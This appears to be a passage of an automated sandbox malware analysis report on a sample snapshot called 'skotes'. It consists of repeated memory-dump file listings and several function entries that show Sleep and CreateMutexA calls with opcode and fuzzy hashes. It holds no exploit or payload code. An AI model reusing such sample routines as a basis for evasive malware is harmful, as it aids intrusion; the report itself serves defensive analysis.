Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 16f9a2f8a01e42abe99cde6036afe16b4aad576de20a143cacc1c2e01d772d27
Instruction ID: ce76b352724d3af2447046292789ffb14eee0ec3b8cf6e86d462ab143f41f6d6
Opcode Fuzzy Hash: 16f9a2f8a01e42abe99cde6036afe16b4aad576de20a143cacc1c2e01d772d27
Instruction Fuzzy Hash: 62E0C234141108AFDF36BB18D849ECC3B69EF71786F400800F81886226CB39EEA1CA90

Function 00189BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 31cd057bf2b2085d0d3072483e8a79a98e608fcd69626134b8dc3b772775b59c
Instruction ID: 55c404f477c37f40fa9436e81a43a9eb6c3578f9d96c3ff1c51beaeb16448503
Opcode Fuzzy Hash: 31cd057bf2b2085d0d3072483e8a79a98e608fcd69626134b8dc3b772775b59c
Instruction Fuzzy Hash: 36312A31B042049BFB18EB68EC99B7DB762DF82314F688219E114972D5C7765A808B51

Function 00189F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 2b8364c83aa1aa6cbf34db314adbf5cee21c4e112430fa4ccb393b55adcb1235
Instruction ID: 84f2398176f9ded0c9dd04870bf4e42932c96a75459f1d64426c3556d18c7fb4
Opcode Fuzzy Hash: 2b8364c83aa1aa6cbf34db314adbf5cee21c4e112430fa4ccb393b55adcb1235
Instruction Fuzzy Hash: 9E314A31B041009BFB08ABA8EC987ACBB62EF86314F648219F114D72D5C7755A808B12

Function 0018A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 4d62c1bfeb32056ca4129a709d35e34db69b2a5fa8b4bfb8f14d77abd388a56e
Instruction ID: a4bd5d053a13f4a2be64460cc88eb0955ddc412cfa2d93ffc6f5d16ace84386d
Opcode Fuzzy Hash: 4d62c1bfeb32056ca4129a709d35e34db69b2a5fa8b4bfb8f14d77abd388a56e
Instruction Fuzzy Hash: CA312831B042049BFF08EBB8EC99B6DB772DF92314F64821AE014977D5C7755A808B22

Function 0018A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812171451.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812187104.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812202087.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812217739.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812235458.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: a197fbc432dfda35fb8d4ef2f4dfbdbc3360507f76c1e64d25710beee32b5a92
Instruction ID: bfaf780881d61fb5847047f9e81402da29f6332ed6bdd973e425b51b272d0133
Opcode Fuzzy Hash: a197fbc432dfda35fb8d4ef2f4dfbdbc3360507f76c1e64d25710beee32b5a92
Instruction Fuzzy Hash: C4314A31B041409BFB18EBBCECDDB6DB772EF96314F64821AE114972D5C7755A808B22

Function 0018A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Strings

t, xrefs: 0018A998

Memory Dump Source

Source File: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000001.00000002.1811442623.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811462151.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811511921.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811524932.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811541135.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811631207.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811645568.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811661565.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811689021.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811702031.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811715889.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811728998.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811747661.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811761471.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811776341.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811792409.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811810482.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811828155.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811842275.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811857268.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811872929.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811888306.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811903669.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811919430.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811934034.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811948520.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811963271.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811977991.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1811992648.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812008044.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812022794.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812036662.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812052340.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812067786.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812081848.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812096504.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812114860.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1812131201.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
